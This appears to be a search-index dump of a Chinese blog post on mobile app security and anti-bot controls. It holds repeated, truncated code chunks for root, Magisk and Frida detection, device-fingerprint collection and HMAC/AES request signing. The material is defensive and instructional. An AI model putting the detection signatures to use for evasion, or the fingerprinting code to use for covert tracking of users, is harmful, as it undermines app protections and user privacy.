(C/C++) 实现 - Root 检测 #include \u003cjni.h\u003e #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003cunistd.h\u003e #include \u003csys/stat.h\u003e #include \u003cdirent.h\u003e // 检测 su 二进制文件 int check_su_exists() { const char* paths[] = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/data/local/bin/su\" }; for (int i = 0; i \u003c 5; i++) { struct stat st; if (stat(paths[i], \u0026st) == 0) { return 1; } } return 0; } // 检测 Magisk int check_magisk() { // 检测 Magisk 目录 struct stat st; if (stat(\"/sbin/.magisk\", \u0026st) == 0) return 1; if (stat(\"/data/adb/magisk\", \u0026st) == 0) return 1; // 检测 Magisk 随机化路径 DIR* dir = opendir(\"/data/adb/modules\"); if (dir != NULL) { closedir(dir); return 1; } return 0; } // 检测 SELinux 状态 int check_selinux() { FILE* fp = fopen(\"/sys/fs/selinux/enforce\", \"r\"); if (fp == NULL) return 0; int enforcing = 0; fscanf(fp, \"%d\", \u0026enforcing); fclose(fp); // enforcing = 0 表示 Permissive 模式，可能被 Root return enforcing == 0 ? 1 : 0; } // 检测可疑进程 int check_suspicious_process() { FILE* fp = popen(\"ps -A\", \"r\"); if (fp == NULL) return 0; char line[256]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, \"daemonsu\") || strstr(line, \"magiskd\") || strstr(line, \"supersu\")) { pclose(fp); return 1; } } pclose(fp); return 0; } JNIEXPORT jboolean JNICALL Java_com_example_RootDetection_nativeRootCheck(JNIEnv *env, jclass clazz) { if (check_su_exists()) return JNI_TRUE; if (check_magisk()) return JNI_TRUE; if (check_selinux()) return JNI_TRUE; if (check_suspicious_process()) return JNI_TRUE; return JNI_FALSE; } Hook 框架检测 Frida 检测： // Java 实现 - Frida 检测 public class FridaDetection { // 检测 Frida 端口 public static boolean checkFridaPort() { int[] ports = {27042, 27043, 27044, 27045}; for (int port : ports) { try { java.net.Socket socket = new java.net.Socket(); socket.connect( new java.net.InetSocketAddress(\"127.0.0.1\", port), 100 ); socket.close(); return true; // 端口开放 } catch (Exception e) { // 连接失败 } } return false; } // 检测 Frida 库 public static boolean checkFridaLibrary() { try { BufferedReader reader = new BufferedReader( new FileReader(\"/proc/self/maps\") ); String line; while ((line = reader.readLine()) != null) { if (line.contains(\"frida\") || line.contains(\"gadget\") || line.contains(\"gum-js\")) { reader.close(); return true; } } reader.close(); } catch (Exception e) { // 忽略 } return false; } // 检测 Frida 线程 public static boolean checkFridaThread() { try { File threadsDir = new File(\"/proc/self/task\"); File[] threads = threadsDir.listFiles(); if (threads != null) { for (File th","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#11-环境检测机制"},{"categories":null,"collections":null,"content":"1.1 环境检测机制 Root/越狱检测 检测维度： // Java 实现 - 综合 Root 检测 public class RootDetection { // 检测维度1: 文件系统检测 private static final String[] ROOT_PATHS = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/data/local/bin/su\", \"/data/local/xbin/su\", \"/system/app/Superuser.apk\", \"/system/etc/init.d/99SuperSUDaemon\", \"/dev/com.koushikdutta.superuser.daemon/\", \"/system/xbin/daemonsu\" }; // 检测维度2: Build 属性检测 private static boolean checkBuildTags() { String buildTags = android.os.Build.TAGS; return buildTags != null \u0026\u0026 buildTags.contains(\"test-keys\"); } // 检测维度3: 危险应用检测 private static final String[] ROOT_PACKAGES = { \"com.topjohnwu.magisk\", \"eu.chainfire.supersu\", \"com.koushikdutta.superuser\", \"com.noshufou.android.su\", \"com.thirdparty.superuser\", \"com.yellowes.su\", \"com.devadvance.rootcloak\", \"de.robv.android.xposed.installer\", \"org.lsposed.manager\" }; // 检测维度4: Native 层检测 public static native boolean nativeRootCheck(); // 综合检测 public static int getRootScore(Context context) { int score = 0; // 文件检测 (权重: 30) for (String path : ROOT_PATHS) { if (new File(path).exists()) { score += 30; break; } } // Build 属性 (权重: 20) if (checkBuildTags()) { score += 20; } // 应用检测 (权重: 25) PackageManager pm = context.getPackageManager(); for (String pkg : ROOT_PACKAGES) { try { pm.getPackageInfo(pkg, 0); score += 25; break; } catch (PackageManager.NameNotFoundException e) { // 未安装 } } // Native 检测 (权重: 25) if (nativeRootCheck()) { score += 25; } return score; // 0-100 分，越高越可疑 } } Native 层检测： // Native (C/C++) 实现 - Root 检测 #include #include #include #include #include #include #include // 检测 su 二进制文件 int check_su_exists() { const char* paths[] = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/data/local/bin/su\" }; for (int i = 0; i \u003c 5; i++) { struct stat st; if (stat(paths[i], \u0026st) == 0) { return 1; } } return 0; } // 检测 Magisk int check_magisk() { // 检测 Magisk 目录 struct stat st; if (stat(\"/sbin/.magisk\", \u0026st) == 0) return 1; if (stat(\"/data/adb/magisk\", \u0026st) == 0) return 1; // 检测 Magisk 随机化路径 DIR* dir = opendir(\"/data/adb/modules\"); if (dir != NULL) { closedir(dir); return 1; } return 0; } // 检测 SELinux 状态 int check_selinux() { FILE* fp = fopen(\"/sys/fs/selinux/enforce\", \"r\"); if (fp == NULL) return 0; int enforcing = 0; fscanf(fp, \"%d\", \u0026enforcing); fclose(fp); // enforcing = 0 表示 Permissive 模式，可能被 Root return enforcing == 0 ? 1 : 0; } // 检测可疑进程 int check_suspicious_process() { FILE* fp = popen(\"ps -A\", \"r\"); if (fp == NULL) return 0; char line[256]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, \"daemonsu\") || strstr(line, \"magiskd\") || strstr(line, \"supersu\")) { pclose(fp); return 1; } } pclose(fp); return 0; } JNIEXPORT jboolean JNICALL Java_com_example_RootDetection_nativeRootCheck(JNIEnv *env, jclass clazz) { if (check_su_exists()) return JNI_TRUE; if (check_magisk()) return JNI_TRUE; if (check_selinux()) return JNI_TRUE; if (check_suspicious_process()) return JNI_TRUE; return JNI_FALSE; } Hook 框架检测 Frida 检测： // Java 实现 - Frida 检测 public class FridaDetection { // 检测 Frida 端口 public static boolean checkFridaPort() { int[] ports = {27042, 27043, 27044, 27045}; for (int port : ports) { try { java.net.Socket socket = new java.net.Socket(); socket.connect( new java.net.InetSocketAddress(\"127.0.0.1\", port), 100 ); socket.close(); return true; // 端口开放 } catch (Exception e) { // 连接失败 } } return false; } // 检测 Frida 库 public static boolean checkFridaLibrary() { try { BufferedReader reader = new BufferedReader( new FileReader(\"/proc/self/maps\") ); String line; while ((line = reader.readLine()) != null) { if (line.contains(\"frida\") || line.contains(\"gadget\") || line.contains(\"gum-js\")) { reader.close(); return true; } } reader.close(); } catch (Exception e) { // 忽略 } return false; } // 检测 Frida 线程 public static boolean checkFridaThread() { try { File threadsDir = new File(\"/proc/self/task\"); File[] threads = threadsDir.listFiles(); if (threads != null) { for (File th","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#root越狱检测"},{"categories":null,"collections":null,"content":"1.1 环境检测机制 Root/越狱检测 检测维度： // Java 实现 - 综合 Root 检测 public class RootDetection { // 检测维度1: 文件系统检测 private static final String[] ROOT_PATHS = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/data/local/bin/su\", \"/data/local/xbin/su\", \"/system/app/Superuser.apk\", \"/system/etc/init.d/99SuperSUDaemon\", \"/dev/com.koushikdutta.superuser.daemon/\", \"/system/xbin/daemonsu\" }; // 检测维度2: Build 属性检测 private static boolean checkBuildTags() { String buildTags = android.os.Build.TAGS; return buildTags != null \u0026\u0026 buildTags.contains(\"test-keys\"); } // 检测维度3: 危险应用检测 private static final String[] ROOT_PACKAGES = { \"com.topjohnwu.magisk\", \"eu.chainfire.supersu\", \"com.koushikdutta.superuser\", \"com.noshufou.android.su\", \"com.thirdparty.superuser\", \"com.yellowes.su\", \"com.devadvance.rootcloak\", \"de.robv.android.xposed.installer\", \"org.lsposed.manager\" }; // 检测维度4: Native 层检测 public static native boolean nativeRootCheck(); // 综合检测 public static int getRootScore(Context context) { int score = 0; // 文件检测 (权重: 30) for (String path : ROOT_PATHS) { if (new File(path).exists()) { score += 30; break; } } // Build 属性 (权重: 20) if (checkBuildTags()) { score += 20; } // 应用检测 (权重: 25) PackageManager pm = context.getPackageManager(); for (String pkg : ROOT_PACKAGES) { try { pm.getPackageInfo(pkg, 0); score += 25; break; } catch (PackageManager.NameNotFoundException e) { // 未安装 } } // Native 检测 (权重: 25) if (nativeRootCheck()) { score += 25; } return score; // 0-100 分，越高越可疑 } } Native 层检测： // Native (C/C++) 实现 - Root 检测 #include #include #include #include #include #include #include // 检测 su 二进制文件 int check_su_exists() { const char* paths[] = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/data/local/bin/su\" }; for (int i = 0; i \u003c 5; i++) { struct stat st; if (stat(paths[i], \u0026st) == 0) { return 1; } } return 0; } // 检测 Magisk int check_magisk() { // 检测 Magisk 目录 struct stat st; if (stat(\"/sbin/.magisk\", \u0026st) == 0) return 1; if (stat(\"/data/adb/magisk\", \u0026st) == 0) return 1; // 检测 Magisk 随机化路径 DIR* dir = opendir(\"/data/adb/modules\"); if (dir != NULL) { closedir(dir); return 1; } return 0; } // 检测 SELinux 状态 int check_selinux() { FILE* fp = fopen(\"/sys/fs/selinux/enforce\", \"r\"); if (fp == NULL) return 0; int enforcing = 0; fscanf(fp, \"%d\", \u0026enforcing); fclose(fp); // enforcing = 0 表示 Permissive 模式，可能被 Root return enforcing == 0 ? 1 : 0; } // 检测可疑进程 int check_suspicious_process() { FILE* fp = popen(\"ps -A\", \"r\"); if (fp == NULL) return 0; char line[256]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, \"daemonsu\") || strstr(line, \"magiskd\") || strstr(line, \"supersu\")) { pclose(fp); return 1; } } pclose(fp); return 0; } JNIEXPORT jboolean JNICALL Java_com_example_RootDetection_nativeRootCheck(JNIEnv *env, jclass clazz) { if (check_su_exists()) return JNI_TRUE; if (check_magisk()) return JNI_TRUE; if (check_selinux()) return JNI_TRUE; if (check_suspicious_process()) return JNI_TRUE; return JNI_FALSE; } Hook 框架检测 Frida 检测： // Java 实现 - Frida 检测 public class FridaDetection { // 检测 Frida 端口 public static boolean checkFridaPort() { int[] ports = {27042, 27043, 27044, 27045}; for (int port : ports) { try { java.net.Socket socket = new java.net.Socket(); socket.connect( new java.net.InetSocketAddress(\"127.0.0.1\", port), 100 ); socket.close(); return true; // 端口开放 } catch (Exception e) { // 连接失败 } } return false; } // 检测 Frida 库 public static boolean checkFridaLibrary() { try { BufferedReader reader = new BufferedReader( new FileReader(\"/proc/self/maps\") ); String line; while ((line = reader.readLine()) != null) { if (line.contains(\"frida\") || line.contains(\"gadget\") || line.contains(\"gum-js\")) { reader.close(); return true; } } reader.close(); } catch (Exception e) { // 忽略 } return false; } // 检测 Frida 线程 public static boolean checkFridaThread() { try { File threadsDir = new File(\"/proc/self/task\"); File[] threads = threadsDir.listFiles(); if (threads != null) { for (File th","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#hook-框架检测"},{"categories":null,"collections":null,"content":"1.2 设备指纹采集 多维度指纹采集 // Java 实现 - 设备指纹采集 public class DeviceFingerprint { // 硬件指纹 public static class HardwareFingerprint { public String androidId; public String serialNumber; public String imei; public String macAddress; public String cpuInfo; public String buildInfo; } // 软件指纹 public static class SoftwareFingerprint { public String osVersion; public List\u003cString\u003e installedApps; public String timezone; public String language; public Map\u003cString, String\u003e systemProperties; } // 行为指纹 public static class BehaviorFingerprint { public long[] touchPattern; // 触摸时间间隔 public float[] sensorData; // 传感器数据特征 public int screenOrientation; // 屏幕方向变化频率 public long sessionDuration; // 会话时长 } // 综合采集 public static Map\u003cString, Object\u003e collectFingerprint(Context context) { Map\u003cString, Object\u003e fingerprint = new HashMap\u003c\u003e(); // 1. Android ID fingerprint.put(\"android_id\", Settings.Secure.getString( context.getContentResolver(), Settings.Secure.ANDROID_ID )); // 2. Build 信息 fingerprint.put(\"build_model\", Build.MODEL); fingerprint.put(\"build_brand\", Build.BRAND); fingerprint.put(\"build_device\", Build.DEVICE); fingerprint.put(\"build_product\", Build.PRODUCT); fingerprint.put(\"build_manufacturer\", Build.MANUFACTURER); fingerprint.put(\"build_fingerprint\", Build.FINGERPRINT); fingerprint.put(\"build_hardware\", Build.HARDWARE); fingerprint.put(\"build_board\", Build.BOARD); fingerprint.put(\"build_bootloader\", Build.BOOTLOADER); fingerprint.put(\"build_display\", Build.DISPLAY); fingerprint.put(\"build_host\", Build.HOST); fingerprint.put(\"build_id\", Build.ID); fingerprint.put(\"build_tags\", Build.TAGS); fingerprint.put(\"build_type\", Build.TYPE); fingerprint.put(\"build_user\", Build.USER); // 3. 系统信息 fingerprint.put(\"sdk_int\", Build.VERSION.SDK_INT); fingerprint.put(\"release\", Build.VERSION.RELEASE); fingerprint.put(\"incremental\", Build.VERSION.INCREMENTAL); // 4. 屏幕信息 DisplayMetrics dm = context.getResources().getDisplayMetrics(); fingerprint.put(\"screen_width\", dm.widthPixels); fingerprint.put(\"screen_height\", dm.heightPixels); fingerprint.put(\"screen_density\", dm.density); fingerprint.put(\"screen_dpi\", dm.densityDpi); // 5. 网络信息 try { List\u003cNetworkInterface\u003e interfaces = Collections.list( NetworkInterface.getNetworkInterfaces() ); for (NetworkInterface ni : interfaces) { byte[] mac = ni.getHardwareAddress(); if (mac != null \u0026\u0026 ni.getName().equals(\"wlan0\")) { StringBuilder sb = new StringBuilder(); for (byte b : mac) { sb.append(String.format(\"%02X:\", b)); } fingerprint.put(\"wifi_mac\", sb.substring(0, sb.length() - 1)); } } } catch (Exception e) { // 忽略 } // 6. 传感器信息 SensorManager sm = (SensorManager) context.getSystemService( Context.SENSOR_SERVICE ); List\u003cSensor\u003e sensors = sm.getSensorList(Sensor.TYPE_ALL); List\u003cString\u003e sensorNames = new ArrayList\u003c\u003e(); for (Sensor s : sensors) { sensorNames.add(s.getName() + \":\" + s.getVendor()); } fingerprint.put(\"sensors\", sensorNames); // 7. CPU 信息 fingerprint.put(\"cpu_abi\", Build.SUPPORTED_ABIS); fingerprint.put(\"cpu_cores\", Runtime.getRuntime().availableProcessors()); // 8. 内存信息 ActivityManager am = (ActivityManager) context.getSystemService( Context.ACTIVITY_SERVICE ); ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo(); am.getMemoryInfo(mi); fingerprint.put(\"total_memory\", mi.totalMem); // 9. 存储信息 StatFs stat = new StatFs(Environment.getExternalStorageDirectory().getPath()); fingerprint.put(\"total_storage\", stat.getBlockSizeLong() * stat.getBlockCountLong()); // 10. 时区和语言 fingerprint.put(\"timezone\", TimeZone.getDefault().getID()); fingerprint.put(\"language\", Locale.getDefault().getLanguage()); fingerprint.put(\"country\", Locale.getDefault().getCountry()); return fingerprint; } // 计算指纹哈希 public static String computeFingerprintHash(Map\u003cString, Object\u003e fingerprint) { try { // 排序键以确保一致性 TreeMap\u003cString, Object\u003e sorted = new TreeMap\u003c\u003e(fingerprint); StringBuilder sb = new StringBuilder(); for (Map.Entry\u003cString, Object\u003e entry : sorted.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"|\"","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#12-设备指纹采集"},{"categories":null,"collections":null,"content":"1.2 设备指纹采集 多维度指纹采集 // Java 实现 - 设备指纹采集 public class DeviceFingerprint { // 硬件指纹 public static class HardwareFingerprint { public String androidId; public String serialNumber; public String imei; public String macAddress; public String cpuInfo; public String buildInfo; } // 软件指纹 public static class SoftwareFingerprint { public String osVersion; public List installedApps; public String timezone; public String language; public Map systemProperties; } // 行为指纹 public static class BehaviorFingerprint { public long[] touchPattern; // 触摸时间间隔 public float[] sensorData; // 传感器数据特征 public int screenOrientation; // 屏幕方向变化频率 public long sessionDuration; // 会话时长 } // 综合采集 public static Map collectFingerprint(Context context) { Map fingerprint = new HashMap\u003c\u003e(); // 1. Android ID fingerprint.put(\"android_id\", Settings.Secure.getString( context.getContentResolver(), Settings.Secure.ANDROID_ID )); // 2. Build 信息 fingerprint.put(\"build_model\", Build.MODEL); fingerprint.put(\"build_brand\", Build.BRAND); fingerprint.put(\"build_device\", Build.DEVICE); fingerprint.put(\"build_product\", Build.PRODUCT); fingerprint.put(\"build_manufacturer\", Build.MANUFACTURER); fingerprint.put(\"build_fingerprint\", Build.FINGERPRINT); fingerprint.put(\"build_hardware\", Build.HARDWARE); fingerprint.put(\"build_board\", Build.BOARD); fingerprint.put(\"build_bootloader\", Build.BOOTLOADER); fingerprint.put(\"build_display\", Build.DISPLAY); fingerprint.put(\"build_host\", Build.HOST); fingerprint.put(\"build_id\", Build.ID); fingerprint.put(\"build_tags\", Build.TAGS); fingerprint.put(\"build_type\", Build.TYPE); fingerprint.put(\"build_user\", Build.USER); // 3. 系统信息 fingerprint.put(\"sdk_int\", Build.VERSION.SDK_INT); fingerprint.put(\"release\", Build.VERSION.RELEASE); fingerprint.put(\"incremental\", Build.VERSION.INCREMENTAL); // 4. 屏幕信息 DisplayMetrics dm = context.getResources().getDisplayMetrics(); fingerprint.put(\"screen_width\", dm.widthPixels); fingerprint.put(\"screen_height\", dm.heightPixels); fingerprint.put(\"screen_density\", dm.density); fingerprint.put(\"screen_dpi\", dm.densityDpi); // 5. 网络信息 try { List interfaces = Collections.list( NetworkInterface.getNetworkInterfaces() ); for (NetworkInterface ni : interfaces) { byte[] mac = ni.getHardwareAddress(); if (mac != null \u0026\u0026 ni.getName().equals(\"wlan0\")) { StringBuilder sb = new StringBuilder(); for (byte b : mac) { sb.append(String.format(\"%02X:\", b)); } fingerprint.put(\"wifi_mac\", sb.substring(0, sb.length() - 1)); } } } catch (Exception e) { // 忽略 } // 6. 传感器信息 SensorManager sm = (SensorManager) context.getSystemService( Context.SENSOR_SERVICE ); List sensors = sm.getSensorList(Sensor.TYPE_ALL); List sensorNames = new ArrayList\u003c\u003e(); for (Sensor s : sensors) { sensorNames.add(s.getName() + \":\" + s.getVendor()); } fingerprint.put(\"sensors\", sensorNames); // 7. CPU 信息 fingerprint.put(\"cpu_abi\", Build.SUPPORTED_ABIS); fingerprint.put(\"cpu_cores\", Runtime.getRuntime().availableProcessors()); // 8. 内存信息 ActivityManager am = (ActivityManager) context.getSystemService( Context.ACTIVITY_SERVICE ); ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo(); am.getMemoryInfo(mi); fingerprint.put(\"total_memory\", mi.totalMem); // 9. 存储信息 StatFs stat = new StatFs(Environment.getExternalStorageDirectory().getPath()); fingerprint.put(\"total_storage\", stat.getBlockSizeLong() * stat.getBlockCountLong()); // 10. 时区和语言 fingerprint.put(\"timezone\", TimeZone.getDefault().getID()); fingerprint.put(\"language\", Locale.getDefault().getLanguage()); fingerprint.put(\"country\", Locale.getDefault().getCountry()); return fingerprint; } // 计算指纹哈希 public static String computeFingerprintHash(Map fingerprint) { try { // 排序键以确保一致性 TreeMap sorted = new TreeMap\u003c\u003e(fingerprint); StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sorted.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"|\"","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#多维度指纹采集"},{"categories":null,"collections":null,"content":"1.2 设备指纹采集 多维度指纹采集 // Java 实现 - 设备指纹采集 public class DeviceFingerprint { // 硬件指纹 public static class HardwareFingerprint { public String androidId; public String serialNumber; public String imei; public String macAddress; public String cpuInfo; public String buildInfo; } // 软件指纹 public static class SoftwareFingerprint { public String osVersion; public List installedApps; public String timezone; public String language; public Map systemProperties; } // 行为指纹 public static class BehaviorFingerprint { public long[] touchPattern; // 触摸时间间隔 public float[] sensorData; // 传感器数据特征 public int screenOrientation; // 屏幕方向变化频率 public long sessionDuration; // 会话时长 } // 综合采集 public static Map collectFingerprint(Context context) { Map fingerprint = new HashMap\u003c\u003e(); // 1. Android ID fingerprint.put(\"android_id\", Settings.Secure.getString( context.getContentResolver(), Settings.Secure.ANDROID_ID )); // 2. Build 信息 fingerprint.put(\"build_model\", Build.MODEL); fingerprint.put(\"build_brand\", Build.BRAND); fingerprint.put(\"build_device\", Build.DEVICE); fingerprint.put(\"build_product\", Build.PRODUCT); fingerprint.put(\"build_manufacturer\", Build.MANUFACTURER); fingerprint.put(\"build_fingerprint\", Build.FINGERPRINT); fingerprint.put(\"build_hardware\", Build.HARDWARE); fingerprint.put(\"build_board\", Build.BOARD); fingerprint.put(\"build_bootloader\", Build.BOOTLOADER); fingerprint.put(\"build_display\", Build.DISPLAY); fingerprint.put(\"build_host\", Build.HOST); fingerprint.put(\"build_id\", Build.ID); fingerprint.put(\"build_tags\", Build.TAGS); fingerprint.put(\"build_type\", Build.TYPE); fingerprint.put(\"build_user\", Build.USER); // 3. 系统信息 fingerprint.put(\"sdk_int\", Build.VERSION.SDK_INT); fingerprint.put(\"release\", Build.VERSION.RELEASE); fingerprint.put(\"incremental\", Build.VERSION.INCREMENTAL); // 4. 屏幕信息 DisplayMetrics dm = context.getResources().getDisplayMetrics(); fingerprint.put(\"screen_width\", dm.widthPixels); fingerprint.put(\"screen_height\", dm.heightPixels); fingerprint.put(\"screen_density\", dm.density); fingerprint.put(\"screen_dpi\", dm.densityDpi); // 5. 网络信息 try { List interfaces = Collections.list( NetworkInterface.getNetworkInterfaces() ); for (NetworkInterface ni : interfaces) { byte[] mac = ni.getHardwareAddress(); if (mac != null \u0026\u0026 ni.getName().equals(\"wlan0\")) { StringBuilder sb = new StringBuilder(); for (byte b : mac) { sb.append(String.format(\"%02X:\", b)); } fingerprint.put(\"wifi_mac\", sb.substring(0, sb.length() - 1)); } } } catch (Exception e) { // 忽略 } // 6. 传感器信息 SensorManager sm = (SensorManager) context.getSystemService( Context.SENSOR_SERVICE ); List sensors = sm.getSensorList(Sensor.TYPE_ALL); List sensorNames = new ArrayList\u003c\u003e(); for (Sensor s : sensors) { sensorNames.add(s.getName() + \":\" + s.getVendor()); } fingerprint.put(\"sensors\", sensorNames); // 7. CPU 信息 fingerprint.put(\"cpu_abi\", Build.SUPPORTED_ABIS); fingerprint.put(\"cpu_cores\", Runtime.getRuntime().availableProcessors()); // 8. 内存信息 ActivityManager am = (ActivityManager) context.getSystemService( Context.ACTIVITY_SERVICE ); ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo(); am.getMemoryInfo(mi); fingerprint.put(\"total_memory\", mi.totalMem); // 9. 存储信息 StatFs stat = new StatFs(Environment.getExternalStorageDirectory().getPath()); fingerprint.put(\"total_storage\", stat.getBlockSizeLong() * stat.getBlockCountLong()); // 10. 时区和语言 fingerprint.put(\"timezone\", TimeZone.getDefault().getID()); fingerprint.put(\"language\", Locale.getDefault().getLanguage()); fingerprint.put(\"country\", Locale.getDefault().getCountry()); return fingerprint; } // 计算指纹哈希 public static String computeFingerprintHash(Map fingerprint) { try { // 排序键以确保一致性 TreeMap sorted = new TreeMap\u003c\u003e(fingerprint); StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sorted.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"|\"","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#canvas-指纹"},{"categories":null,"collections":null,"content":"2. 通信安全技术 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:3:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#2-通信安全技术"},{"categories":null,"collections":null,"content":"2.1 请求签名机制 HMAC 签名实现 // Java 实现 - 请求签名 public class RequestSigner { private static final String HMAC_ALGORITHM = \"HmacSHA256\"; private byte[] secretKey; public RequestSigner(byte[] secretKey) { this.secretKey = secretKey; } // 生成签名 public String sign(Map\u003cString, String\u003e params, long timestamp, String nonce) { // 1. 排序参数 TreeMap\u003cString, String\u003e sortedParams = new TreeMap\u003c\u003e(params); // 2. 构建待签名字符串 StringBuilder sb = new StringBuilder(); for (Map.Entry\u003cString, String\u003e entry : sortedParams.entrySet()) { if (sb.length() \u003e 0) { sb.append(\"\u0026\"); } sb.append(entry.getKey()).append(\"=\").append(entry.getValue()); } // 3. 添加时间戳和随机数 sb.append(\"\u0026timestamp=\").append(timestamp); sb.append(\"\u0026nonce=\").append(nonce); // 4. 计算 HMAC try { Mac mac = Mac.getInstance(HMAC_ALGORITHM); SecretKeySpec keySpec = new SecretKeySpec(secretKey, HMAC_ALGORITHM); mac.init(keySpec); byte[] signature = mac.doFinal(sb.toString().getBytes(\"UTF-8\")); // 5. Base64 编码 return Base64.encodeToString(signature, Base64.NO_WRAP); } catch (Exception e) { return null; } } // 生成随机数 public static String generateNonce() { byte[] nonce = new byte[16]; new SecureRandom().nextBytes(nonce); StringBuilder sb = new StringBuilder(); for (byte b : nonce) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } // 构建签名请求 public Map\u003cString, String\u003e buildSignedRequest( String url, Map\u003cString, String\u003e params) { long timestamp = System.currentTimeMillis() / 1000; String nonce = generateNonce(); String signature = sign(params, timestamp, nonce); Map\u003cString, String\u003e signedParams = new HashMap\u003c\u003e(params); signedParams.put(\"timestamp\", String.valueOf(timestamp)); signedParams.put(\"nonce\", nonce); signedParams.put(\"sign\", signature); return signedParams; } } 复杂签名算法示例 某些应用使用更复杂的签名算法： // Java 实现 - 复杂签名算法示例 public class ComplexSigner { // 签名算法: SHA256(MD5(params) + timestamp + deviceId + salt) public static String complexSign( Map\u003cString, String\u003e params, long timestamp, String deviceId, String salt) { try { // 1. 对参数进行 MD5 TreeMap\u003cString, String\u003e sorted = new TreeMap\u003c\u003e(params); StringBuilder paramStr = new StringBuilder(); for (Map.Entry\u003cString, String\u003e e : sorted.entrySet()) { paramStr.append(e.getKey()).append(e.getValue()); } MessageDigest md5 = MessageDigest.getInstance(\"MD5\"); byte[] paramHash = md5.digest(paramStr.toString().getBytes(\"UTF-8\")); String paramMd5 = bytesToHex(paramHash); // 2. 拼接其他要素 String toSign = paramMd5 + timestamp + deviceId + salt; // 3. SHA256 MessageDigest sha256 = MessageDigest.getInstance(\"SHA-256\"); byte[] finalHash = sha256.digest(toSign.getBytes(\"UTF-8\")); return bytesToHex(finalHash); } catch (Exception e) { return null; } } // 带加密的签名 public static String encryptedSign( Map\u003cString, String\u003e params, String key) { try { // 1. JSON 序列化 JSONObject json = new JSONObject(params); String plaintext = json.toString(); // 2. AES 加密 SecretKeySpec keySpec = new SecretKeySpec( key.getBytes(\"UTF-8\"), \"AES\" ); Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); byte[] iv = new byte[16]; new SecureRandom().nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[] encrypted = cipher.doFinal(plaintext.getBytes(\"UTF-8\")); // 3. 组合 IV + 密文 byte[] result = new byte[iv.length + encrypted.length]; System.arraycopy(iv, 0, result, 0, iv.length); System.arraycopy(encrypted, 0, result, iv.length, encrypted.length); // 4. Base64 编码 return Base64.encodeToString(result, Base64.NO_WRAP); } catch (Exception e) { return null; } } private static String bytesToHex(byte[] bytes) { StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } } ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:3:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#21-请求签名机制"},{"categories":null,"collections":null,"content":"2.1 请求签名机制 HMAC 签名实现 // Java 实现 - 请求签名 public class RequestSigner { private static final String HMAC_ALGORITHM = \"HmacSHA256\"; private byte[] secretKey; public RequestSigner(byte[] secretKey) { this.secretKey = secretKey; } // 生成签名 public String sign(Map params, long timestamp, String nonce) { // 1. 排序参数 TreeMap sortedParams = new TreeMap\u003c\u003e(params); // 2. 构建待签名字符串 StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sortedParams.entrySet()) { if (sb.length() \u003e 0) { sb.append(\"\u0026\"); } 